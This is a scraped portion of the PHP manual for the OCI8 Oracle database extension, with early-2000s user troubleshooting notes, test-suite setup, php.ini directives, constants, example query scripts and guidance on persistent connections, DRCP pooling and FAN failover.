kakukkfu at mailbox dot hu 26-Sep-2002 11:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
        source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
devolver at iastate dot edu 30-May-2002 04:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
ddc at portalframework.com 14-May-2002 11:30
Sometimes Oracle doesn't cleanup shadow processes when accessed from PHP. To avoid that, check your
$ORACLE_HOME/network/admin/tnsnames.ora file in your Oracle Client directory and remove the (SERVER=DEDICATED) token if is set.

To let Oracle delete shadow process on timeouts, add the following line in your $ORACLE_HOME/network/admin/sqlnet.ora
found in your ORACLE Server directory:

SQLNET.EXPIRE_TIME=n

Where 'n' is the number of minutes to let connection idle befor shutting them out.
i990712 at dei dot isep dot ipp dot pt 03-Oct-2001 05:53
For those of you who are having Oracle errors: ORA-12154 or ORA-12505 or ORA-01005 do the folowing:

The folowing precedures have been tested when connecting to a HP UX with Oracle 7.x using of couse the OCI8 as the client interface.

Add those lines to the web server config files or set and export those ones before the web server starts.

On Apache add these lines to httpd.conf:

SetEnv ORACLE_HOME /usr/local/oracle
SetEnv ORACLE_SID <sid>
SetEnv LD_LIBRARY_PATH /usr/local/oracle/lib
SetEnv TNS_ADMIN /usr/local/oracle/tnsnames.ora
SetEnv TWO_TASK /usr/local/oracle/tnsnames.ora
SetEnv NLS_LANG  English_America.WE8ISO8859P1
SetEnv ORACLE_BASE /usr/local

When calling the OCILogon do this:

$db = "  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP) (HOST =server_ip_or_dns_name)(PORT = 1521))
    (CONNECT_DATA= (SID = _sid_))
    )";

The previous definition is a copy of the service definition that is stored in the tnsnames.ora file.

Next, call the OCILogon function using the folowing format:

OCILogon("user/password","password", $db);

To avoid ORA-01005 error, set the NLS_LANG environment variable to English_America.WE8ISO8859P1 ( some other values may work...but we have found that this one works for us )

To avoid ORA-12154 and ORA-12505, use the service definition as the OCILogon third parameter.

I'd like to thanks to a friend of mine a.k.a Rosa for the user/password tip.

Regards
Miguel Carvalho
me at dglewis dot com 08-Aug-2001 06:14
Some trouble-shooting notes:<br>
When using Apache with dso support and php as a loadable module, be sure to stop/start your web server between tnsnames.ora changes (sending HUP to apache "apachectl restart" doesn't appear to flush cached connect string).<br>
You'll see your changed connect strings in the listener log file.<p>
TNSNAMES.ORA:<br>
This is a very simple file to manage, yet can be very picky about your syntax.  Simply ensure that you follow one of these two examples:<br>
Legacy SID:<br>
alias-or-sidname =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(Host = hostname-or-ipaddress)(Port = 1521))
    (CONNECT_DATA =
      (SID = sidname)
    )
  )<br>
8i SERVICE NAME:<br>
hostname.domainname.com =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = hostname-or-ipaddress)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = servicename)
    )
  )</p>
Additional notes:<br>
- ORA/TNS-12514 error can also be caused by listener not being started.
- Ensure that httpd user (i.e. nobody) has the following in its environment (putenv is unnecessary if env is set by os via /etc/profile):
$ORACLE_SID
$ORACLE_HOME<br>
Also, some helpful resources:
- TNS Error Messages:
http://www.oradoc.com/ora817/server.817/a76999/tnsus.htm#1000527
- TNS Listener logs:
$ORACLE_HOME/network/log/...
fsegtrop at estiem dot org 21-May-2001 07:14
When using PHP4 in CGI-mode with Windows NT or Windows 2000 with IIS or Apache, make sure that the TNSNAMES.ORA and the SQLNET.ORA do not contain DOS/Windows CR/LF line endings.<br> Instead, they must have UNIX (only LF) endings. Otherwise, you will get an ORA-12154 error (TNS cannot resolve service name) when connecting to a remote database.<br>
This all does not matter if you use the ISAPI mode.

Frank
Marinne at ilovechocolate dot com 17-May-2001 05:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org 06-Mar-2001 02:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
shmengie_2000 at yahoo dot com 03-Oct-2000 03:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe
Requirements
Testing
Installing/Configuring


Testing

The OCI8 test suite is in ext/oci8/tests. After OCI8 tests are run this directory will also contain logs of any failures.

Before running PHP's tests, edit details.inc and set $user, $password and the $dbase connection string. The OCI8 test suite has been developed using the SYSTEM account. Some tests will fail if the test user does not have equivalent permissions.

If Oracle 11g Database Resident Connection Pooling is being tested, set $test_drcp to TRUE and ensure the connection string uses an appropriate DRCP pooled server.

An alternative to editing details.inc is the set environment variables, for example:

    $ export PHP_OCI8_TEST_USER=system
    $ export PHP_OCI8_TEST_PASS=oracle
    $ export PHP_OCI8_TEST_DB=localhost/XE
    $ export PHP_OCI8_TEST_DRCP=FALSE
Note in some shells these variables are not propagated correctly to the PHP process and tests will fail to connect if this method is used.

Next, set any necessary environment for the Oracle database. With Oracle 10gR2 XE do:

    $ . /usr/lib/oracle/xe/app/oracle/product/10.2.0/server/bin/oracle_env.sh

With Oracle 11gR2 XE do:

    $ . /u01/app/oracle/product/11.2.0/xe/bin/oracle_env.sh

For other versions of the Oracle database do:

    $ . /usr/local/bin/oraenv

Some shells require that php.ini has E in the variables_order parameter, for example:

    variables_order = "EGPCS"

Run all the PHP tests with:

    $ cd your_php_src_directory
    $ make test
or run only the OCI8 tests with
    $ cd your_php_src_directory
    $ make test TESTS=ext/oci8

When the tests have completed, review any test failures. On slow systems, some tests may take longer than the default test timeout in run-tests.php. To correct this, set the environment variable TEST_TIMEOUT to a larger number of seconds.

On fast machines with a local database configured for light load (e.g. Oracle 11gR2 XE) some tests might fail with ORA-12516 or ORA-12520 errors. To prevent this, increase the database PROCESSES parameter using the following steps:

Connect as the oracle software owner:

    $ su - oracle

Set the necessary Oracle environment with oracle_env.sh or oraenv, as described above.

Start the SQL*Plus command line tool and increase PROCESSES

    $ sqlplus / as sysdba
    SQL> alter system set processes=100 scope=spfile

Restart the database:

    SQL> startup force

User Contributed Notes

There are no user contributed notes for this page.
Installation
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

OCI8 Configuration Options
Name | Default | Changeable | Changelog
oci8.connection_class | "" | PHP_INI_ALL | Available since PHP 5.3 (PECL OCI8 1.3).
oci8.default_prefetch | "100" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.events | Off | PHP_INI_SYSTEM | Available since PHP 5.3 (PECL OCI8 1.3).
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.old_oci_close_semantics | Off | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.ping_interval | "60" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.privileged_connect | Off | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).

Here's a short explanation of the configuration directives.

oci8.connection_class string

This user defined text is used by Oracle 11g Database Resident Connection Pooling (DRCP) connections to sub-partition the connection pool. It allows OCI8 persistent connections from an application to reuse database sessions from a previous PHP script, giving better scalability. When an application uses a database pooled process previously used with a different connection class, the session settings such as the default Oracle date format are reset. This prevents accidental sharing of information between different applications.

The value can be set at runtime with ini_set() prior to connecting.

To use DRCP, OCI8 must be linked with Oracle 11g libraries and the database must be Oracle 11g. The connection pool must be enabled in the database, the oci8.connection_class should be set to the same string for all web servers running the same application, and the OCI8 connection string must specify to use a pooled server.

oci8.default_prefetch int

This option sets the default number of extra rows that will be fetched and cached automatically whenever a low-level request for data from the database is made. Setting a value of 0 turns off prefetching.

The prefetch value does not alter the number of rows that functions like oci_fetch_array() return to the user; the prefetching and caching of rows is handled internally in OCI8.

The value can be set per-statement with oci_set_prefetch() prior to statement execution.

In PHP 5.3 (PECL OCI8 1.3.4) the default value was increased from 10 to 100.

In PHP 5.3.2 (PECL OCI8 1.4) the minimum value settable was reduced from 1 to 0, allowing prefetching to be turned off.

Note: A larger prefetch can result in improved performance, at the cost of some increased memory usage. For queries that return large amounts of data, the performance benefit can be significant.

oci8.events boolean

Using On allows PHP to be notified of database Fast Application Notification (FAN) events.

Without FAN, when a database instance or machine node fails unexpectedly, PHP applications may be blocked waiting for a database response until a TCP timeout expires. With FAN events, PHP applications are quickly notified of failures that affect their established database connections. The OCI8 extension will clean up unusable connections in the persistent connection cache.

When using On, the database must also be configured to post FAN events.

FAN support is available when OCI8 is linked with Oracle 10gR2 (or later) libraries and connected to Oracle Database 10gR2 (or later).

oci8.max_persistent int

The maximum number of persistent OCI8 connections per PHP process. Setting this option to -1 means that there is no limit.

oci8.old_oci_close_semantics boolean

This option controls oci_close() behaviour. Enabling it means that oci_close() will do nothing; the connection will not be closed until the end of the script. This is for backward compatibility only. If you find that you need to enable this setting, you are strongly encouraged to adjust the oci_close() calls in your application instead of enabling this option.

oci8.persistent_timeout int

The maximum number of seconds that a PHP process is allowed to keep an idle persistent connection open. Setting this option to -1 means that idle persistent connections will be retained until the PHP process terminates or the connection is explicitly closed with oci_close().

Note: In PHP, the expiry of idle resources is not alarm-based. It occurs when PHP finishes processing a script and checks the last-used timestamp of resources. Hence there is a paradox that idle connections can only be closed when there is some activity (though not necessarily OCI8 related) in the PHP process. The introduction of Database Resident Connection Pooling (DRCP) in Oracle 11g resolves the memory and resource issues that oci8.max_persistent and oci8.persistent_timeout previously attempted to overcome.

Note: In PHP 5.3 (PECL OCI8 1.3), persistent connections can be closed with oci_close().

oci8.ping_interval int

The number of seconds that must pass before issuing a ping during oci_pconnect(). A ping ensures that the database connection is valid. When set to 0, persistent connections will be pinged every time oci_pconnect() is called. To disable pings completely, set this option to -1.

Note: Disabling pings allows oci_pconnect() to operate at the highest efficiency, but PHP may not be able to detect unusable connections, such as caused by network dropout, or if the Oracle database has gone down since PHP connected, until the connection is used later in the script. Consult the oci_pconnect() documentation for more information.

oci8.privileged_connect boolean

This option allows connections to use the privileged external credentials OCI_SYSOPER or OCI_SYSDBA.

Note: Seting this On can allow scripts on web servers running with the appropriate OS user privileges to connect as privileged database users without requiring a database password. This can be a security risk.

oci8.statement_cache_size int

This option enables statement caching, and specifies how many statements to cache. To disable statement caching just set this option to 0.

Statement caching removes the need to transmit the statement text to the database and removes the need to transmit any meta data about the statement back to PHP. This can significantly improve overall system performance in applications which reuse statements during the lifetime of a connection. Some extra database "cursors" may be held open under the assumption that statements will be reused.

Set this value to the size of the working set of statements used by your application. Setting too small a value can cause statements to be flushed from the cache before they are reused.

This option is of most use with persistent connections.

User Contributed Notes

There are no user contributed notes for this page.
Testing
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

OCI8 Function and Method Modes
Constant | Description
OCI_ASSOC | Used with oci_fetch_all() and oci_fetch_array() to get results as an associative array.
OCI_BOTH | Used with oci_fetch_all() and oci_fetch_array() to get results as an array with both associative and number indices.
OCI_COMMIT_ON_SUCCESS | Statement execution mode for oci_execute() call. Automatically commit changes when the statement has succeeded.
OCI_CRED_EXT | Used with oci_connect() for using Oracles' External or OS authentication. Introduced in PHP 5.3 and PECL OCI8 1.3.4.
OCI_DEFAULT | Statement execution mode for oci_execute(). The transaction is not automatically committed when using this mode. From PHP 5.3.2 (PECL OCI8 1.4) onwards, OCI_NO_AUTO_COMMIT is preferred instead of OCI_DEFAULT.
OCI_DESCRIBE_ONLY | Statement execution mode for oci_execute(). Use this mode if you want meta data such as the column names but don't want to fetch rows from the query.
OCI_EXACT_FETCH | Obsolete. Statement fetch mode. Used when the application knows in advance exactly how many rows it will be fetching. This mode turns prefetching off for Oracle release 8 or later mode. The cursor is canceled after the desired rows are fetched which may result in reduced server-side resource usage.
OCI_FETCHSTATEMENT_BY_COLUMN | Default mode of oci_fetch_all().
OCI_FETCHSTATEMENT_BY_ROW | Alternative mode of oci_fetch_all().
OCI_LOB_BUFFER_FREE | Used with OCI-Lob::flush to free buffers used.
OCI_NO_AUTO_COMMIT | Statement execution mode for oci_execute(). The statement is not committed automatically when using this mode. For readability in new code, use this value instead of the obsolete OCI_DEFAULT constant. Introduced in PHP 5.3.2 (PECL OCI8 1.4).
OCI_NUM | Used with oci_fetch_all() and oci_fetch_array() to get results as an enumerated array.
OCI_RETURN_LOBS | Used with oci_fetch_array() to get the data value of the LOB instead of the descriptor.
OCI_RETURN_NULLS | Used with oci_fetch_array() to get empty array elements if the row items value is NULL.
OCI_SEEK_CUR | Used with OCI-Lob::seek to set the seek position.
OCI_SEEK_END | Used with OCI-Lob::seek to set the seek position.
OCI_SEEK_SET | Used with OCI-Lob::seek to set the seek position.
OCI_SYSDATE | Obsolete.
OCI_SYSDBA | Used with oci_connect() to connect with the SYSDBA privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
OCI_SYSOPER | Used with oci_connect() to connect with the SYSOPER privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
OCI_TEMP_BLOB | Used with OCI-Lob::writeTemporary to indicate that a temporary BLOB should be created.
OCI_TEMP_CLOB | Used with OCI-Lob::writeTemporary to indicate that a temporary CLOB should be created.
OCI8 Bind and Define Types
Constant | Description
OCI_B_BFILE | Used with oci_bind_by_name() when binding BFILEs.
OCI_B_BIN | Used with oci_bind_by_name() to bind RAW values.
OCI_B_BLOB | Used with oci_bind_by_name() when binding BLOBs.
OCI_B_CFILEE | Used with oci_bind_by_name() when binding CFILEs.
OCI_B_CLOB | Used with oci_bind_by_name() when binding CLOBs.
OCI_B_CURSOR | Used with oci_bind_by_name() when binding cursors, previously allocated with oci_new_descriptor().
OCI_B_INT | Used with oci_bind_array_by_name() to bind arrays of INTEGER.
OCI_B_NTY | Used with oci_bind_by_name() when binding named data types. Note: in PHP < 5.0 it was called OCI_B_SQLT_NTY.
OCI_B_NUM | Used with oci_bind_array_by_name() to bind arrays of NUMBER.
OCI_B_ROWID | Used with oci_bind_by_name() when binding ROWIDs.
SQLT_AFC | Used with oci_bind_array_by_name() to bind arrays of CHAR.
SQLT_AVC | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2.
SQLT_BDOUBLE | Not supported.
SQLT_BFILEE | The same as OCI_B_BFILE.
SQLT_BFLOAT | Not supported.
SQLT_BIN | The same as OCI_B_BIN.
SQLT_BLOB | The same as OCI_B_BLOB.
SQLT_CFILEE | The same as OCI_B_CFILEE.
SQLT_CHR | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2. Also used with oci_bind_by_name().
SQLT_CLOB | The same as OCI_B_CLOB.
SQLT_FLT | Used with oci_bind_array_by_name() to bind arrays of FLOAT.
SQLT_INT | The same as OCI_B_INT.
SQLT_LBI | Used with oci_bind_by_name() to bind LONG RAW values.
SQLT_LNG | Used with oci_bind_by_name() to bind LONG values.
SQLT_LVC | Used with oci_bind_array_by_name() to bind arrays of LONG VARCHAR.
SQLT_NTY | The same as OCI_B_NTY.
SQLT_NUM | The same as OCI_B_NUM.
SQLT_ODT | Used with oci_bind_array_by_name() to bind arrays of LONG.
SQLT_RDD | The same as OCI_B_ROWID.
SQLT_RSET | The same as OCI_B_CURSOR.
SQLT_STR | Used with oci_bind_array_by_name() to bind arrays of STRING.
SQLT_UIN | Not supported.
SQLT_VCS | Used with oci_bind_array_by_name() to bind arrays of VARCHAR.
OCI8 Descriptor Types
Constant | Description
OCI_DTYPE_FILE | This flag tells oci_new_descriptor() to initialize a new FILE descriptor.
OCI_DTYPE_LOB | This flag tells oci_new_descriptor() to initialize a new LOB descriptor.
OCI_DTYPE_ROWID | This flag tells oci_new_descriptor() to initialize a new ROWID descriptor.
OCI_D_FILE | The same as OCI_DTYPE_FILE.
OCI_D_LOB | The same as OCI_DTYPE_LOB.
OCI_D_ROWID | The same as OCI_DTYPE_ROWID.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Examples
OCI8


Examples

These examples connect as the HR user, which is the sample "Human Resources" schema supplied with the Oracle database. The account may need to be unlocked and the password reset before you can use it.

The examples connect to the XE database on your machine. Change the connect string to your database before running the examples.

Example #1 Basic query

This shows querying and displaying results. Statements in OCI8 use a prepare-execute-fetch sequence of steps.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Prepare the statement
$stid = oci_parse($conn, 'SELECT * FROM departments');
if (!$stid) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Perform the logic of the query
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Fetch the results of the query
print "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    print "<tr>\n";
    foreach ($row as $item) {
        print "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Inserting with bind variables

Bind variables improve performance by allowing reuse of execution contexts and caches. Bind variables improve security by preventing some kinds of SQL Injection problems.

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO MYTABLE (mid, myd) VALUES(:myid, :mydata)');

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid);  // executes and commits

if ($r) {
    print "One row inserted";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Inserting data into a CLOB column

For large data use binary long object (BLOB) or character long object (CLOB) types. This example uses CLOB.

<?php

// Before running, create the table:
//     CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$mykey = 12343;  // arbitrary key for this example;

$sql = "INSERT INTO mytable (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_NO_AUTO_COMMIT); // use OCI_DEFAULT for PHP <= 5.3.1
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC)) {
    $result = $row['MYCLOB']->load();
    print '<tr><td>'.$result.'</td></tr>';
}
print '</table>';

?>

Example #4 Using a PL/SQL stored function

You must bind a variable for the return value and optionally for any PL/SQL function arguments.

<?php

/*
  Before running the PHP program, create a stored function in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
  BEGIN
      RETURN p * 3;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #5 Using a PL/SQL stored procedure

With stored procedures, you should bind variables for any arguments.

<?php

/*
  Before running the PHP program, create a stored procedure in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 Calling a PL/SQL function that returns a REF CURSOR

Each returned value from the query is a REF CURSOR that can be fetched from.

<?php
/*
  Create the PL/SQL stored function as:

  CREATE OR REPLACE FUNCTION myfunc(p1 IN NUMBER) RETURN SYS_REFCURSOR AS
      rc SYS_REFCURSOR;
  BEGIN
      OPEN rc FOR SELECT city FROM locations WHERE ROWNUM < p1;
      RETURN rc;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myfunc(5) AS mfrc FROM dual');
oci_execute($stid);

echo "<table border='1'>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
    echo "<tr>\n";
    $rc = $row['MFRC'];
    oci_execute($rc);  // returned column value from the query is a ref cursor
    while (($rc_row = oci_fetch_array($rc, OCI_ASSOC))) {
        echo "    <td>" . $rc_row['CITY'] . "</td>\n";
    }
    oci_free_statement($rc);
    echo "</tr>\n";
}
echo "</table>\n";

// Output is:
//   Beijing
//   Bern
//   Bombay
//   Geneva

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Connection Handling
OCI8


Connection Handling

Connection Functions

The OCI8 extension provides three different functions for connecting to Oracle. The standard connection function is oci_connect(). This creates a connection to an Oracle database and returns a resource used by subsequent database calls.

Connecting to an Oracle server is a reasonably expensive operation in terms of the time that it takes to complete. The oci_pconnect() function uses a persistent cache of connections that can be re-used across different script requests. This means that the connection overhead will typically only occur once per PHP process (or Apache child).

If the application connects to Oracle using a different set of credentials for each web user, the persistent cache employed by oci_pconnect() will become less useful as the number of concurrent users increases, to the point where it may start to adversely affect the overall performance of the Oracle server due to maintaining too many idle connections. If the application is structured in this way, it is recommended to either tune the application using the oci8.max_persistent and oci8.persistent_timeout configuration settings (these will give control over the persistent connection cache size and lifetime), use Oracle 11g Database Resident Connection Pooling, or use oci_connect() instead.

Both oci_connect() and oci_pconnect() employ a connection cache; if multiple calls to oci_connect() use the same parameters in a given script, the second and subsequent calls return the existing connection handle. The cache used by oci_connect() is cleaned up at the end of the script run, or when the connection handle is explicitly closed. The function oci_pconnect() has similar behavior, although its cache is maintained separately and survives between HTTP requests.

This caching feature means the two handles are not transactionally isolated (they are in fact the same connection handle, so there is no isolation of any kind). If the application needs two separate, transactionally isolated connections, then use oci_new_connect().

The oci_pconnect() cache is cleared and any database connections closed when the PHP process terminates, so effective use of persistent connections requires that PHP be an Apache module or used with FGCI, or similar. Persistent connections will not have any benefits over oci_connect() when PHP is used with CGI or via the command-line.

The function oci_new_connect() always creates a new connection to the Oracle server, regardless of what other connections might already exist. High traffic web applications should avoid using oci_new_connect(), especially in the busiest sections of the application.

DRCP Connection Pooling

PHP 5.3 (PECL OCI8 1.3) supports Oracle 11g Database Resident Connection Pooling (DRCP). DRCP allows more efficient use of database machine memory and provides high scalability. No, or minimal, application changes are needed to use DRCP.

DRCP is suited for applications that connect using few database schemas and hold database connections open for a short period of time. Other applications should use Oracle's default Dedicated database server processes, or use Shared servers.

DRCP benefits all three connection functions, but gives the highest scalability when connections are created with oci_pconnect().

For DRCP to be available in OCI8, Oracle client libraries used by PHP and the version of the Oracle Database must both be 11g.

Documentation on DRCP is found in several Oracle manuals. For example, see » Configuring Database Resident Connection Pooling in the Oracle documentation for usage information. A » DRCP white paper contains background information on DRCP.

To use DRCP, build PHP with the OCI8 1.3 extension and Oracle 11g libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to start the connection pool in the database:

        SQL> execute dbms_connection_pool.start_pool;

  • Optionally use dbms_connection_pool.alter_param() to configure DRCP settings. The current pool settings can be queried from the DBA_CPOOL_INFO view.

  • Update the connection strings used. For PHP applications that currently connect using a Network Connect Name like MYDB:

        $c = oci_pconnect("myuser", "mypassword", "MYDB");

    modify the tnsnames.ora file and add a (SERVER=POOLED) clause, for example:

        MYDB = (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=myhost.dom.com)
           (PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales)
           (SERVER=POOLED)))

    Alternatively, modify the Easy Connect syntax in PHP and add :POOLED after the service name:

        $c = oci_pconnect("myuser", "mypassword", "myhost.dom.com:1521/sales:POOLED");

  • Edit php.ini and choose a connection class name. This name indicates a logical division of the connection pool and can be used to isolate pooling for separate applications. Any PHP applications with the same user name and connection class value will be able to share connections in the pool, giving greater scalability.

        oci8.connection_class = "MY_APPLICATION_NAME"

  • Run the application, connecting to the 11g database.

Note:

Applications using Oracle 10g that require the performance of persistent connections can reduce the amount of database server memory needed by using Oracle Shared servers (previously known as Multi Threaded Servers). Refer to Oracle documentation for information.

DRCP Recommendations and Known Limitations

Changing a password over DRCP connections will fail with the error ORA-56609: Usage not supported with DRCP. This is a documented restriction of Oracle Database 11g.

With the OCI8 1.3 extension, persistent connections can now be closed by the user, allowing greater control over connection resource usage. Persistent connections will now also be closed automatically when there is no PHP variable referencing them, such as at the end of scope of a PHP user function. This will rollback any uncommitted transaction. These changes to persistent connections make them behave similarly to non-persistent connections, simplifying the interface, allowing for greater application consistency and predictability. Use oci8.old_oci_close_semantics set to On to retain the historical behavior.

If the Oracle Database is version 11.1.0.6, then the Oracle database patch for Oracle bug 6474441 must be applied to use DRCP. Without this patch, errors such as ORA-01000: maximum open cursors exceeded, ORA-01001 invalid cursor or ORA-01002 fetch out of sequence may occur. This bug was fixed in Oracle 11.1.0.7 onwards.

If the Oracle 11.1.0.6 database patch cannot be applied, one of the following three workarounds can be used instead:

  • Connect using Oracle Dedicated or Shared servers instead of DRCP.
  • Set PHP's oci8.statement_cache_size to 0.
  • Set an event in the database initialization parameter file: event="56699 trace name context forever, level 128".

Oracle Database 11.1.0.7 and the Oracle Database 11.1.0.6 patch for Oracle bug 6474441 allow PHP applications with DRCP connection to use a database LOGON trigger to set session properties at the time of session creation. Examples of such settings are the NLS language and the date format.

If the Oracle 11.1.0.6 database patch cannot be applied, one of the following workarounds can be used instead of using LOGON triggers:

  • After logon, explicitly set the session properties using PHP application code.
  • Connect using Oracle Dedicated or Shared servers instead of DRCP.

The automatic re-establishment of PHP persistent connections after an Apache or FGCI process respawns means LOGON triggers in PHP are only recommended for setting session attributes and not for per-application user connection requests. This is even more so with DRCP due to the automatic pool sizing and with the way LOGON triggers fire with DRCP authentication.

Fast Application Notification (FAN) Support

FAN support gives fast connection failover, a high availability feature. This allows PHP OCI8 scripts to be notified when a database machine or database instance becomes unavailable. Without FAN, OCI8 can hang until a TCP timeout occurs and an error is returned, which might be several minutes. Enabling FAN in OCI8 can allow applications to detect errors and re-connect to an available database instance without the web user being aware of an outage.

FAN support is available when the Oracle client libraries that PHP links with and the Oracle Database are either version 10gR2 or 11g.

FAN benefits users of Oracle's clustering technology (RAC) because connections to surviving database instances can be immediately made. Users of Oracle's Data Guard with a broker will see the FAN events generated when the standby database goes online. Standalone databases will send FAN events when the database restarts.

For active connections, when a machine or database instance becomes unavailable, a connection failure error will be returned by the OCI8 extension function currently being called. On a subsequent PHP script re-connect, a connection to a surviving database instance will be established. The OCI8 extension also transparently cleans up any idle connections affected by a database machine or instance failure so PHP connect calls will establish a fresh connection without the script being aware of any service disruption.

